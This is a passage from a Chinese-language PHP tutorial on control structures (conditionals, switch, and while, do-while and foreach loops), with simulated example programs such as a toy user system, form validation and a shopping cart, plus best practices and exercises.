                if ($username === $this->currentUser['username']) {
                    echo "不能对当前登录用户进行操作!<br>";
                    $failCount++;
                    continue;
                }

                switch ($operation) {
                    case 'disable':
                        $this->users[$userIndex]['status'] = 'disabled';
                        echo "用户 {$username} 已禁用<br>";
                        $successCount++;
                        break;

                    case 'enable':
                        $this->users[$userIndex]['status'] = 'active';
                        echo "用户 {$username} 已启用<br>";
                        $successCount++;
                        break;

                    case 'delete':
                        array_splice($this->users, $userIndex, 1);
                        echo "用户 {$username} 已删除<br>";
                        $successCount++;
                        break;

                    default:
                        echo "未知操作:{$operation}<br>";
                        $failCount++;
                        break;
                }
            }

            echo "<strong>操作完成!成功:{$successCount},失败:{$failCount}</strong><br>";
        }

        // 查找用户索引
        private function findUserIndex($username) {
            foreach ($this->users as $index => $user) {
                if ($user['username'] === $username) {
                    return $index;
                }
            }
            return null;
        }

        // 处理用户请求 - 复杂的条件逻辑
        public function handleRequest($request) {
            echo "<h2>处理请求:{$request}</h2>";

            if ($this->currentUser === null) {
                // 未登录用户的请求
                switch ($request) {
                    case 'login':
                        $this->login('admin', '123456');
                        break;
                    case 'register':
                        echo "跳转到注册页面<br>";
                        break;
                    case 'about':
                        echo "显示关于页面<br>";
                        break;
                    default:
                        echo "未知请求,请先登录<br>";
                        break;
                }
            } else {
                // 已登录用户的请求
                $userRole = $this->currentUser['role'];

                if ($request === 'logout') {
                    echo "用户 {$this->currentUser['username']} 已退出登录<br>";
                    $this->currentUser = null;
                    return;
                }

                // 根据角色处理不同请求
                if ($userRole === 'admin') {
                    switch ($request) {
                        case 'users':
                            $this->displayUsers();
                            break;
                        case 'settings':
                            echo "显示系统设置<br>";
                            break;
                        case 'backup':
                            echo "执行数据备份<br>";
                            break;
                        default:
                            $this->showMenu();
                            break;
                    }
                } elseif ($userRole === 'user') {
                    switch ($request) {
                        case 'profile':
                            echo "显示个人信息<br>";
                            break;
                        case 'articles':
                            echo "显示我的文章<br>";
                            break;
                        case 'messages':
                            echo "显示消息<br>";
                            break;
                        default:
                            $this->showMenu();
                            break;
                    }
                } else { // guest
                    switch ($request) {
                        case 'browse':
                            echo "浏览内容<br>";
                            break;
                        case 'search':
                            echo "搜索功能<br>";
                            break;
                        default:
                            $this->showMenu();
                            break;
                    }
                }
            }
        }
    }

    // 使用示例
    $userSystem = new UserSystem();

    echo "<h1>用户管理系统演示</h1>";

    // 演示各种控制结构的应用
    $userSystem->handleRequest('about'); // 未登录状态
    $userSystem->handleRequest('login'); // 登录

    echo "<hr>";

    $userSystem->handleRequest('users'); // 管理员功能
    $userSystem->handleRequest('settings'); // 系统设置

    echo "<hr>";

    // 演示批量操作
    $userSystem->batchOperation('disable', ['guest', 'user1']);

    echo "<hr>";

    $userSystem->handleRequest('logout'); // 退出登录
?>

控制结构的重要性

1. 程序逻辑的基础

控制结构是所有编程语言的核心概念,它们让我们能够:

  • 创建有逻辑的程序
  • 处理各种业务场景
  • 实现复杂的算法

2. 解决实际问题的工具

  • 条件判断:处理不同的业务规则
  • 循环操作:批量处理数据
  • 文件包含:代码模块化和重用

3. 代码组织的方式

良好的控制结构使用能让代码:

  • 更容易理解和维护
  • 更高效和可靠
  • 更符合业务逻辑

学习建议

1. 理论与实践结合

  • 先理解每种控制结构的概念
  • 通过编写简单代码练习
  • 在实际项目中应用

2. 循序渐进

  • 从简单的if-else开始
  • 逐步学习复杂结构
  • 最后综合运用

3. 注意常见陷阱

  • 避免无限循环
  • 注意条件的完整性
  • 合理使用break和continue

章节导航

接下来我们将深入学习:

  1. 条件语句:学习如何根据不同条件执行不同代码
  2. 循环语句:掌握重复执行代码的技巧
  3. 跳转语句:了解如何控制程序的执行流程
  4. 文件包含:学会模块化编程

每个章节都包含详细的理论解释、丰富的代码示例和实际应用案例,帮助你全面掌握PHP控制结构的使用。


准备好了吗? 让我们开始学习PHP控制结构的详细知识!记住,控制结构是编程的基础,掌握好这些概念将为你后续的PHP学习打下坚实的基础。

条件语句

概述

条件语句是编程中最基础也是最重要的控制结构之一。它允许程序根据不同的条件执行不同的代码块,让程序具有"决策"能力。在PHP中,主要有以下几种条件语句:

  • if 语句 - 单一条件判断
  • if-else 语句 - 二选一判断
  • if-elseif-else 语句 - 多重条件判断
  • switch 语句 - 多值匹配判断

if 语句

基本语法

if (条件表达式) {
    // 当条件为 true 时执行的代码块
}

语法说明

  • 条件表达式:必须是布尔值或可以转换为布尔值的表达式
  • 代码块:用花括号 {} 包围的代码,即使只有一行语句也建议使用花括号
  • 执行流程:如果条件表达式的值为 true,则执行代码块;否则跳过

基础示例

<?php
// 简单的条件判断
$age = 18;

if ($age >= 18) {
    echo "您已经成年了!<br>";  // 输出:您已经成年了!
}

// 使用变量的条件判断
$hasLogin = true;
if ($hasLogin) {
    echo "欢迎回来!<br>";  // 输出:欢迎回来!
}

// 复杂条件表达式
$score = 85;
if ($score >= 60 && $score <= 100) {
    echo "恭喜您,考试通过了!<br>";  // 输出:恭喜您,考试通过了!
}
?>

if-else 语句

基本语法

if (条件表达式) {
    // 当条件为 true 时执行的代码块
} else {
    // 当条件为 false 时执行的代码块
}

语法说明

  • else 部分是可选的,当 if 条件不满足时执行
  • 只有一个 else 块,且必须紧跟在 if 块后面

实际应用示例

<?php
// 用户登录验证示例
$username = "admin";
$password = "123456";

if ($username === "admin" && $password === "123456") {
    echo "登录成功!欢迎管理员。<br>";
} else {
    echo "用户名或密码错误!<br>";
}

// 成绩判断示例
$score = 75;

if ($score >= 60) {
    echo "恭喜及格!<br>";
    echo "您的成绩是:" . $score . "分<br>";
} else {
    echo "很遗憾,您没有通过考试。<br>";
    echo "需要补考,请努力学习!<br>";
}

// 文件存在检查示例
$filename = "config.php";

if (file_exists($filename)) {
    echo "配置文件存在,正在读取配置...<br>";
    // 这里可以包含配置文件
} else {
    echo "配置文件不存在,使用默认配置。<br>";
}
?>

if-elseif-else 语句

基本语法

if (条件1) {
    // 条件1为 true 时执行
} elseif (条件2) {
    // 条件1为 false 且 条件2为 true 时执行
} elseif (条件3) {
    // 条件1、条件2都为 false 且 条件3为 true 时执行
} else {
    // 所有条件都为 false 时执行
}

语法说明

  • 可以有多个 elseif
  • 条件按顺序判断,一旦找到 true 的条件就执行对应代码块,然后跳出整个结构
  • else 块是可选的,但通常建议包含以处理所有未预料的情况

实际应用示例

<?php
// 学生成绩等级评定
$score = 85;

if ($score >= 90) {
    $grade = 'A';
    $comment = '优秀!';
} elseif ($score >= 80) {
    $grade = 'B';
    $comment = '良好!';
} elseif ($score >= 70) {
    $grade = 'C';
    $comment = '中等';
} elseif ($score >= 60) {
    $grade = 'D';
    $comment = '及格';
} else {
    $grade = 'F';
    $comment = '不及格';
}

echo "成绩:$score 分<br>";
echo "等级:$grade<br>";
echo "评价:$comment<br>";

// 用户权限检查示例
$userRole = 'editor';

if ($userRole === 'admin') {
    $permissions = ['read', 'write', 'delete', 'manage_users'];
    echo "管理员权限:可以执行所有操作<br>";
} elseif ($userRole === 'editor') {
    $permissions = ['read', 'write'];
    echo "编辑权限:可以读取和编辑内容<br>";
} elseif ($userRole === 'viewer') {
    $permissions = ['read'];
    echo "查看者权限:只能读取内容<br>";
} else {
    $permissions = [];
    echo "未知角色,没有权限<br>";
}

// 表单验证示例
$name = "张三";
$email = "zhangsan@example.com";
$age = 25;

$errors = [];

if (empty($name)) {
    $errors[] = "姓名不能为空";
} elseif (strlen($name) < 2) {
    $errors[] = "姓名长度不能少于2个字符";
}

if (empty($email)) {
    $errors[] = "邮箱不能为空";
} elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    $errors[] = "邮箱格式不正确";
}

if (empty($age)) {
    $errors[] = "年龄不能为空";
} elseif (!is_numeric($age) || $age < 0 || $age > 150) {
    $errors[] = "年龄必须是0-150之间的数字";
}

if (empty($errors)) {
    echo "表单验证通过!<br>";
} else {
    echo "表单验证失败:<br>";
    foreach ($errors as $error) {
        echo "- $error<br>";
    }
}
?>

switch 语句

基本语法

switch (表达式) {
    case 值1:
        // 当表达式等于值1时执行的代码
        break;
    case 值2:
        // 当表达式等于值2时执行的代码
        break;
    // 更多 case...
    default:
        // 当表达式不匹配任何 case 时执行的代码
        break;
}

语法说明

  • 表达式:可以是任何可以转换为整型或字符串的表达式
  • case:每个 case 后面跟着一个要比较的值
  • break:用于跳出 switch 结构,如果没有 break,会继续执行下一个 case
  • default:可选的,用于处理不匹配任何 case 的情况

基础示例

<?php
// 星期几的显示
$dayOfWeek = 3;
$dayName = '';

switch ($dayOfWeek) {
    case 1:
        $dayName = '星期一';
        break;
    case 2:
        $dayName = '星期二';
        break;
    case 3:
        $dayName = '星期三';
        break;
    case 4:
        $dayName = '星期四';
        break;
    case 5:
        $dayName = '星期五';
        break;
    case 6:
        $dayName = '星期六';
        break;
    case 7:
        $dayName = '星期日';
        break;
    default:
        $dayName = '无效的星期数字';
        break;
}

echo "今天是:$dayName<br>";

// 简单计算器示例
$operator = '+';
$a = 10;
$b = 5;
$result = 0;

switch ($operator) {
    case '+':
        $result = $a + $b;
        echo "$a + $b = $result<br>";
        break;
    case '-':
        $result = $a - $b;
        echo "$a - $b = $result<br>";
        break;
    case '*':
        $result = $a * $b;
        echo "$a * $b = $result<br>";
        break;
    case '/':
        if ($b != 0) {
            $result = $a / $b;
            echo "$a / $b = $result<br>";
        } else {
            echo "错误:除数不能为零!<br>";
        }
        break;
    default:
        echo "不支持的运算符:$operator<br>";
        break;
}
?>

高级 switch 特性

1. 多个 case 共同代码块

<?php
// 季节判断
$month = 8;

switch ($month) {
    case 12:
    case 1:
    case 2:
        $season = '冬季';
        break;
    case 3:
    case 4:
    case 5:
        $season = '春季';
        break;
    case 6:
    case 7:
    case 8:
        $season = '夏季';
        break;
    case 9:
    case 10:
    case 11:
        $season = '秋季';
        break;
    default:
        $season = '无效的月份';
        break;
}

echo "月份 $month 属于$season<br>";
?>

2. 字符串匹配

<?php
// HTTP 状态码处理
$statusCode = 404;

switch ($statusCode) {
    case 200:
        $message = '请求成功';
        break;
    case 301:
    case 302:
        $message = '重定向';
        break;
    case 400:
        $message = '请求错误';
        break;
    case 401:
        $message = '未授权访问';
        break;
    case 403:
        $message = '禁止访问';
        break;
    case 404:
        $message = '页面未找到';
        break;
    case 500:
        $message = '服务器内部错误';
        break;
    default:
        $message = '未知状态码';
        break;
}

echo "HTTP状态码 $statusCode: $message<br>";

// 菜单系统示例
$menuChoice = '2';

switch ($menuChoice) {
    case '1':
        echo "用户管理<br>";
        // 用户管理相关代码
        break;
    case '2':
        echo "商品管理<br>";
        // 商品管理相关代码
        break;
    case '3':
        echo "订单管理<br>";
        // 订单管理相关代码
        break;
    case '4':
        echo "系统设置<br>";
        // 系统设置相关代码
        break;
    case 'q':
    case 'quit':
    case 'exit':
        echo "退出系统<br>";
        break;
    default:
        echo "无效选择,请重新输入<br>";
        break;
}
?>

实际应用场景

1. 用户登录验证系统

<?php
// 模拟用户登录验证系统
function validateLogin($username, $password, $remember = false) {
    // 预定义用户数据(实际应用中应该从数据库读取)
    $users = [
        'admin' => [
            'password' => 'admin123',
            'role' => 'admin',
            'status' => 'active'
        ],
        'user1' => [
            'password' => 'user123',
            'role' => 'user',
            'status' => 'active'
        ]
    ];

    // 验证用户名
    if (empty($username)) {
        return ['success' => false, 'message' => '用户名不能为空'];
    }

    // 验证密码
    if (empty($password)) {
        return ['success' => false, 'message' => '密码不能为空'];
    }

    // 检查用户是否存在
    if (!isset($users[$username])) {
        return ['success' => false, 'message' => '用户名不存在'];
    }

    // 获取用户信息
    $user = $users[$username];

    // 检查用户状态
    if ($user['status'] !== 'active') {
        return ['success' => false, 'message' => '账号已被禁用'];
    }

    // 验证密码
    if ($user['password'] !== $password) {
        return ['success' => false, 'message' => '密码错误'];
    }

    // 登录成功,根据角色设置会话
    switch ($user['role']) {
        case 'admin':
            $permissions = ['read', 'write', 'delete', 'manage_users'];
            break;
        case 'user':
            $permissions = ['read', 'write'];
            break;
        default:
            $permissions = [];
            break;
    }

    return [
        'success' => true,
        'message' => '登录成功',
        'user' => [
            'username' => $username,
            'role' => $user['role'],
            'permissions' => $permissions
        ],
        'remember' => $remember
    ];
}

// 测试登录功能
$result = validateLogin('admin', 'admin123', true);

if ($result['success']) {
    echo "✅ 登录成功<br>";
    echo "角色:{$result['user']['role']}<br>";
    echo "权限:" . implode(', ', $result['user']['permissions']) . "<br>";
} else {
    echo "❌ 登录失败:{$result['message']}<br>";
}
?>

2. 表单处理系统

<?php
// 完整的表单验证和处理系统
function processRegistrationForm($data) {
    $errors = [];

    // 验证用户名
    if (empty($data['username'])) {
        $errors['username'] = '用户名不能为空';
    } elseif (strlen($data['username']) < 3) {
        $errors['username'] = '用户名长度不能少于3个字符';
    } elseif (!preg_match('/^[a-zA-Z0-9_]+$/', $data['username'])) {
        $errors['username'] = '用户名只能包含字母、数字和下划线';
    }

    // 验证邮箱
    if (empty($data['email'])) {
        $errors['email'] = '邮箱不能为空';
    } elseif (!filter_var($data['email'], FILTER_VALIDATE_EMAIL)) {
        $errors['email'] = '邮箱格式不正确';
    }

    // 验证密码
    if (empty($data['password'])) {
        $errors['password'] = '密码不能为空';
    } elseif (strlen($data['password']) < 6) {
        $errors['password'] = '密码长度不能少于6个字符';
    }

    // 如果没有错误,处理注册
    if (empty($errors)) {
        // 根据用户类型设置默认权限
        $userType = $data['user_type'] ?? 'regular';
        switch ($userType) {
            case 'premium':
                $permissions = ['read', 'write', 'upload', 'download'];
                break;
            case 'business':
                $permissions = ['read', 'write', 'upload', 'download', 'api_access'];
                break;
            case 'regular':
            default:
                $permissions = ['read', 'write'];
                break;
        }

        return [
            'success' => true,
            'message' => '注册成功!',
            'user_data' => [
                'username' => $data['username'],
                'email' => $data['email'],
                'user_type' => $userType,
                'permissions' => $permissions
            ]
        ];
    } else {
        return [
            'success' => false,
            'message' => '注册失败,请检查以下错误',
            'errors' => $errors
        ];
    }
}

// 测试表单处理
$testFormData = [
    'username' => 'testuser123',
    'email' => 'test@example.com',
    'password' => 'Password123',
    'user_type' => 'premium'
];

$result = processRegistrationForm($testFormData);

if ($result['success']) {
    echo "🎉 注册成功!<br>";
    echo "用户名:{$result['user_data']['username']}<br>";
    echo "邮箱:{$result['user_data']['email']}<br>";
    echo "用户类型:{$result['user_data']['user_type']}<br>";
    echo "权限:" . implode(', ', $result['user_data']['permissions']) . "<br>";
} else {
    echo "❌ 注册失败!<br>";
    echo "错误信息:<br>";
    foreach ($result['errors'] as $field => $error) {
        echo "- $field: $error<br>";
    }
}
?>

最佳实践

1. 条件语句的选择原则

<?php
// 什么时候使用 if-else vs switch

// ✅ 推荐:复杂条件使用 if-elseif-else
function checkUserPermissions($user, $resource, $action) {
    if (!$user) {
        return false; // 用户未登录
    }

    if ($user['status'] !== 'active') {
        return false; // 用户被禁用
    }

    // 根据用户角色和操作类型判断权限
    if ($user['role'] === 'admin') {
        return true; // 管理员有所有权限
    } elseif ($user['role'] === 'editor') {
        if ($action === 'read' || $action === 'write') {
            return true;
        }
    }

    return false;
}

// ✅ 推荐:简单值匹配使用 switch
function getFileTypeIcon($extension) {
    switch (strtolower($extension)) {
        case 'jpg':
        case 'jpeg':
        case 'png':
        case 'gif':
            return 'image-icon.png';
        case 'pdf':
            return 'pdf-icon.png';
        case 'doc':
        case 'docx':
            return 'word-icon.png';
        default:
            return 'file-icon.png';
    }
}
?>

2. 代码风格建议

<?php
// ✅ 推荐:使用 Yoda 条件(常量在左)
if (5 === $score) {  // 而不是 $score === 5
    // 这样如果忘记写等号会报语法错误,而不是赋值
}

// ✅ 推荐:总是使用花括号
if ($condition) {
    doSomething();
}
// 即使只有一行代码也使用花括号

// ✅ 推荐:早期返回
function processUserData($data) {
    if (empty($data)) {
        return null;  // 早期返回,减少嵌套
    }

    if (!isset($data['id'])) {
        return null;
    }

    // 主要处理逻辑
    return processData($data);
}

// ✅ 推荐:使用严格比较
if ($value === 0) {    // 严格比较
    // 只在值确实是 0 时执行
}

if ($value == 0) {     // 宽松比较
    // 在值为 0、"0"、false、null、"" 时都执行
}
?>

常见错误和解决方案

1. 忘记 break 语句

<?php
// ❌ 错误:忘记 break
$day = 2;
switch ($day) {
    case 1:
        echo "周一";
    case 2:
        echo "周二";  // 会输出 "周二周三周四..."
    case 3:
        echo "周三";
    // 缺少 break,导致继续执行
}

// ✅ 正确:每个 case 都有 break
switch ($day) {
    case 1:
        echo "周一";
        break;
    case 2:
        echo "周二";
        break;
    case 3:
        echo "周三";
        break;
}

// ✅ 特殊情况:故意不使用 break(多个 case 共同代码)
switch ($month) {
    case 12:
    case 1:
    case 2:
        echo "冬季";
        break;
    case 3:
    case 4:
    case 5:
        echo "春季";
        break;
}
?>

2. 赋值与比较混淆

<?php
// ❌ 错误:使用赋值而不是比较
$value = 5;
if ($value = 10) {  // 这里是赋值,不是比较
    echo "值为 10";  // 总是会执行
}

// ✅ 正确:使用比较运算符
if ($value == 10) {
    echo "值为 10";
}

// ✅ 最佳:使用 Yoda 条件避免这种错误
if (10 === $value) {
    echo "值为 10";
    // 如果写成 10 = $value 会报语法错误
}
?>

练习题

基础练习

  1. 成绩等级转换

    <?php
    // 练习:将以下分数转换为等级
    $scores = [95, 85, 75, 65, 45];
    
    // 要求:
    // 90-100: A (优秀)
    // 80-89:  B (良好)
    // 70-79:  C (中等)
    // 60-69:  D (及格)
    // 0-59:   F (不及格)
    
    // 请完成代码...
    ?>
    
  2. 闰年判断

    <?php
    // 练习:判断给定年份是否为闰年
    $years = [2000, 2020, 2021, 2024, 2100];
    
    // 闰年规则:
    // 1. 能被4整除但不能被100整除,或者
    // 2. 能被400整除
    
    // 请完成代码...
    ?>
    
  3. 时间段判断

    <?php
    // 练习:根据当前时间输出问候语
    $hour = date('H'); // 获取当前小时 (0-23)
    
    // 要求:
    // 5-12: 早上好
    // 12-18:下午好
    // 18-22:晚上好
    // 22-5:  夜深了,注意休息
    
    // 请完成代码...
    ?>
    

进阶练习

  1. BMI计算器

    <?php
    // 练习:计算BMI并给出健康建议
    function calculateBMI($weight, $height) {
        // BMI = weight(kg) / height(m)^2
    
        // 要求:
        // < 18.5: 偏瘦
        // 18.5-23.9: 正常
        // 24-27.9: 偏胖
        // >= 28: 肥胖
    
        // 根据BMI值给出健康建议
        // 请完成代码...
    }
    ?>
    
  2. 贷款审批系统

    <?php
    // 练习:实现简单的贷款审批系统
    function approveLoan($age, $income, $creditScore, $employmentYears) {
        // 审批规则:
        // 1. 年龄必须在 22-60 岁之间
        // 2. 收入必须 > 5000
        // 3. 信用分必须 > 600
        // 4. 工作年限必须 > 1年
    
        // 返回数组包含:approved, amount, rate, reason
        // 请完成代码...
    }
    ?>
    

总结

条件语句是PHP编程中的基础控制结构,掌握好条件语句对于编写高质量的PHP代码至关重要。以下是关键要点:

核心概念

  1. if 语句:单一条件判断
  2. if-else 语句:二选一判断
  3. if-elseif-else 语句:多重条件判断
  4. switch 语句:多值匹配判断

选择建议

  • 复杂条件:使用 if-elseif-else
  • 简单值匹配:使用 switch
  • 布尔条件:使用 if-else
  • 性能考虑:将最可能的条件放在前面

最佳实践

  1. 使用严格比较 (=== 而不是 ==)
  2. 总是使用花括号包围代码块
  3. 使用 Yoda 条件避免赋值错误
  4. 合理使用早期返回简化嵌套

常见陷阱

  1. 忘记 switch 中的 break
  2. 混淆赋值和比较运算符
  3. 忽略类型转换的影响
  4. 错误的逻辑运算符优先级

通过大量的练习和实际应用,您将能够熟练运用条件语句来解决各种编程问题。下一章我们将学习循环语句,让程序能够重复执行代码块。

循环语句

概述

循环语句是编程中用于重复执行代码块的控制结构。当需要多次执行相同或类似的操作时,循环语句可以大大简化代码,提高效率。PHP提供了几种循环结构:

  • for 循环 - 计数器循环,适用于已知循环次数的场景
  • while 循环 - 条件循环,当条件为真时重复执行
  • do-while 循环 - 后测试循环,至少执行一次
  • foreach 循环 - 数组遍历循环,专门用于遍历数组

for 循环

基本语法

for (初始化表达式; 条件表达式; 递增表达式) {
    // 循环体代码
}

语法说明

  • 初始化表达式:在循环开始前执行一次,通常用于初始化计数器
  • 条件表达式:在每次循环开始前求值,如果为 true 则继续执行循环体
  • 递增表达式:在每次循环结束后执行,通常用于更新计数器
  • 执行顺序:初始化 → 条件判断 → 循环体 → 递增 → 条件判断 → ...

基础示例

<?php
// 基础的 for 循环
echo "=== 基础 for 循环示例 ===<br>";

for ($i = 1; $i <= 5; $i++) {
    echo "第 $i 次循环<br>";
}

// 输出:第 1 次循环、第 2 次循环...第 5 次循环

// 倒序循环
echo "<br>=== 倒序循环 ===<br>";
for ($i = 10; $i >= 1; $i--) {
    echo "$i ";
}
// 输出:10 9 8 7 6 5 4 3 2 1

// 步长为 2 的循环
echo "<br><br>=== 步长为 2 的循环 ===<br>";
for ($i = 0; $i <= 10; $i += 2) {
    echo "$i ";
}
// 输出:0 2 4 6 8 10

// 多个变量的 for 循环
echo "<br><br>=== 多变量初始化 ===<br>";
for ($i = 0, $j = 10; $i < $j; $i++, $j--) {
    echo "i=$i, j=$j<br>";
}
?>

实际应用示例

<?php
// 1. 生成乘法表
echo "=== 九九乘法表 ===<br>";
echo "<table border='1'>";

for ($i = 1; $i <= 9; $i++) {
    echo "<tr>";
    for ($j = 1; $j <= 9; $j++) {
        $product = $i * $j;
        echo "<td>$i × $j = $product</td>";
    }
    echo "</tr>";
}

echo "</table><br>";

// 2. 数组元素处理
$numbers = [1, 2, 3, 4, 5];
$sum = 0;
$factorial = 1;

echo "=== 数组处理 ===<br>";
for ($i = 0; $i < count($numbers); $i++) {
    $sum += $numbers[$i];
    $factorial *= $numbers[$i];
    echo "索引 $i: 值 {$numbers[$i]}, 累计和: $sum<br>";
}

echo "总和: $sum<br>";
echo "阶乘: $factorial<br><br>";

// 3. 字符串处理
$text = "Hello World!";
$reversed = "";

for ($i = strlen($text) - 1; $i >= 0; $i--) {
    $reversed .= $text[$i];
}

echo "原字符串: $text<br>";
echo "反转字符串: $reversed<br><br>";

// 4. 图形输出
echo "=== 星形图案 ===<br>";
for ($i = 1; $i <= 5; $i++) {
    for ($j = 1; $j <= $i; $j++) {
        echo "* ";
    }
    echo "<br>";
}

// 金字塔图案
echo "<br>=== 金字塔图案 ===<br>";
for ($i = 1; $i <= 5; $i++) {
    // 打印空格
    for ($j = 1; $j <= 5 - $i; $j++) {
        echo "&nbsp;";
    }
    // 打印星号
    for ($j = 1; $j <= 2 * $i - 1; $j++) {
        echo "*";
    }
    echo "<br>";
}
?>

while 循环

基本语法

while (条件表达式) {
    // 循环体代码
}

语法说明

  • 条件表达式:在每次循环开始前求值
  • 执行流程:检查条件 → 如果为 true 执行循环体 → 重新检查条件
  • 适用场景:当循环次数不确定,只知道循环条件时使用

基础示例

<?php
// 基础的 while 循环
echo "=== 基础 while 循环 ===<br>";

$count = 1;
while ($count <= 5) {
    echo "计数: $count<br>";
    $count++;
}

// 读取文件内容(模拟)
echo "<br>=== 模拟文件读取 ===<br>";
$lines = ["第一行内容", "第二行内容", "第三行内容"];
$index = 0;

while ($index < count($lines)) {
    echo "读取第 " . ($index + 1) . " 行: {$lines[$index]}<br>";
    $index++;
}

// 用户输入验证(模拟)
echo "<br>=== 用户输入验证 ===<br>";
$attempts = 0;
$maxAttempts = 3;
$correctPassword = "123456";
$userInput = "wrong"; // 模拟错误输入

while ($attempts < $maxAttempts && $userInput !== $correctPassword) {
    $attempts++;
    echo "第 $attempts 次尝试,密码错误<br>";
    // 在实际应用中,这里会提示用户重新输入
    $userInput = ($attempts === 3) ? "123456" : "wrong";
}

if ($userInput === $correctPassword) {
    echo "登录成功!<br>";
} else {
    echo "尝试次数过多,登录失败!<br>";
}
?>

实际应用示例

<?php
// 1. 数据库查询结果处理(模拟)
echo "=== 数据库查询结果处理 ===<br>";

// 模拟数据库查询结果
$databaseResults = [
    ['id' => 1, 'name' => '张三', 'score' => 85],
    ['id' => 2, 'name' => '李四', 'score' => 92],
    ['id' => 3, 'name' => '王五', 'score' => 78],
    ['id' => 4, 'name' => '赵六', 'score' => 88],
    ['id' => 5, 'name' => '钱七', 'score' => 95]
];

$index = 0;
$totalScore = 0;
$passedCount = 0;

while ($index < count($databaseResults)) {
    $student = $databaseResults[$index];
    $totalScore += $student['score'];

    if ($student['score'] >= 60) {
        $passedCount++;
        echo "✅ {$student['name']}: {$student['score']} 分 (及格)<br>";
    } else {
        echo "❌ {$student['name']}: {$student['score']} 分 (不及格)<br>";
    }

    $index++;
}

$averageScore = $totalScore / count($databaseResults);
$passRate = ($passedCount / count($databaseResults)) * 100;

echo "<br>统计结果:<br>";
echo "平均分: " . round($averageScore, 2) . "<br>";
echo "及格率: " . round($passRate, 2) . "%<br>";

// 2. 质数判断
echo "<br>=== 质数判断 ===<br>";

function isPrime($number) {
    if ($number < 2) return false;

    $divisor = 2;
    while ($divisor * $divisor <= $number) {
        if ($number % $divisor == 0) {
            return false;
        }
        $divisor++;
    }
    return true;
}

$testNumbers = [2, 3, 4, 5, 16, 17, 19, 20, 23, 25];

foreach ($testNumbers as $num) {
    if (isPrime($num)) {
        echo "$num 是质数<br>";
    } else {
        echo "$num 不是质数<br>";
    }
}

// 3. 数字反转
echo "<br>=== 数字反转 ===<br>";

function reverseNumber($number) {
    $reversed = 0;
    $original = $number;

    while ($number > 0) {
        $digit = $number % 10;  // 取最后一位
        $reversed = $reversed * 10 + $digit;  // 构建反转数
        $number = (int)($number / 10);  // 去掉最后一位
    }

    return $reversed;
}

$numbersToReverse = [123, 4567, 89, 1001];

foreach ($numbersToReverse as $num) {
    $reversed = reverseNumber($num);
    echo "原数: $num, 反转: $reversed<br>";
}
?>

do-while 循环

基本语法

do {
    // 循环体代码
} while (条件表达式);

语法说明

  • 执行特点:先执行循环体,后检查条件
  • 至少执行一次:即使条件为 false,循环体也会执行一次
  • 适用场景:需要至少执行一次的操作,如用户输入、菜单显示等

基础示例

<?php
// 基础的 do-while 循环
echo "=== 基础 do-while 循环 ===<br>";

$count = 1;
do {
    echo "第 $count 次执行<br>";
    $count++;
} while ($count <= 3);

// 条件不满足的情况
echo "<br>=== 条件不满足的情况 ===<br>";
$count = 5;
do {
    echo "至少执行一次,当前值: $count<br>";
} while ($count <= 3);

// 用户输入验证(模拟)
echo "<br>=== 用户输入验证 ===<br>";
$attempts = 0;
$maxAttempts = 3;

do {
    $attempts++;
    echo "请输入密码 (第 $attempts 次尝试):<br>";
    // 模拟用户输入
    $input = ($attempts === 2) ? "correct" : "wrong";

    if ($input === "correct") {
        echo "密码正确!<br>";
        break;
    }
} while ($attempts < $maxAttempts);

if ($attempts >= $maxAttempts) {
    echo "尝试次数过多!<br>";
}

// 菜单系统
echo "<br>=== 简单菜单系统 ===<br>";
$choice = '';

do {
    echo "==== 主菜单 ===<br>";
    echo "1. 查看信息<br>";
    echo "2. 修改设置<br>";
    echo "3. 退出<br>";
    echo "请选择 (1-3): ";

    // 模拟用户选择
    $choice = '3';
    echo "$choice<br>";

    switch ($choice) {
        case '1':
            echo "显示用户信息<br>";
            break;
        case '2':
            echo "进入设置页面<br>";
            break;
        case '3':
            echo "感谢使用,再见!<br>";
            break;
        default:
            echo "无效选择,请重新输入<br>";
    }
} while ($choice !== '3');
?>

foreach 循环

基本语法

// 遍历数组的值
foreach (数组 as 值) {
    // 循环体代码
}

// 遍历数组的键和值
foreach (数组 as 键 => 值) {
    // 循环体代码
}

语法说明

  • 专门用于数组:foreach 是 PHP 中专门用于遍历数组的循环结构
  • 键值对:可以同时获取数组的键和值
  • 简化操作:相比 for 循环,foreach 更简洁且不易出错
  • 适用场景:数组遍历、对象属性遍历等

基础示例

<?php
// 基础的 foreach 循环
echo "=== 基础 foreach 循环 ===<br>";

// 简单索引数组
$fruits = ['苹果', '香蕉', '橙子', '葡萄'];
foreach ($fruits as $fruit) {
    echo "水果: $fruit<br>";
}

// 关联数组
echo "<br>=== 关联数组遍历 ===<br>";
$student = [
    'name' => '张三',
    'age' => 20,
    'major' => '计算机科学',
    'gpa' => 3.8
];

foreach ($student as $key => $value) {
    echo "$key: $value<br>";
}

// 多维数组
echo "<br>=== 多维数组遍历 ===<br>";
$students = [
    [
        'name' => '张三',
        'scores' => ['数学' => 85, '英语' => 92, '编程' => 95]
    ],
    [
        'name' => '李四',
        'scores' => ['数学' => 78, '英语' => 88, '编程' => 82]
    ]
];

foreach ($students as $index => $student) {
    echo "学生 " . ($index + 1) . ": {$student['name']}<br>";
    foreach ($student['scores'] as $subject => $score) {
        echo "  $subject: $score 分<br>";
    }
    echo "<br>";
}

// 数组修改(引用传递)
echo "<br>=== 数组修改 ===<br>";
$numbers = [1, 2, 3, 4, 5];
echo "原数组: " . implode(', ', $numbers) . "<br>";

foreach ($numbers as &$value) {
    $value = $value * 2;
}
unset($value); // 解除引用

echo "修改后数组: " . implode(', ', $numbers) . "<br>";
?>

实际应用示例

<?php
// 1. 电商购物车处理
echo "=== 购物车价格计算 ===<br>";

$cartItems = [
    ['name' => 'iPhone 14', 'price' => 6999, 'quantity' => 1],
    ['name' => 'AirPods', 'price' => 1299, 'quantity' => 2],
    ['name' => '手机壳', 'price' => 99, 'quantity' => 3]
];

$subtotal = 0;
$itemCount = 0;

foreach ($cartItems as $item) {
    $itemTotal = $item['price'] * $item['quantity'];
    $subtotal += $itemTotal;
    $itemCount += $item['quantity'];

    echo "{$item['name']}: {$item['quantity']} × ¥{$item['price']} = ¥$itemTotal<br>";
}

$tax = $subtotal * 0.1; // 10% 税费
$shipping = ($subtotal >= 100) ? 0 : 10; // 满100免运费
$total = $subtotal + $tax + $shipping;

echo "<br>商品小计: ¥$subtotal<br>";
echo "税费 (10%): ¥$tax<br>";
echo "运费: ¥$shipping<br>";
echo "总计: ¥$total<br>";
echo "商品数量: $itemCount 件<br>";

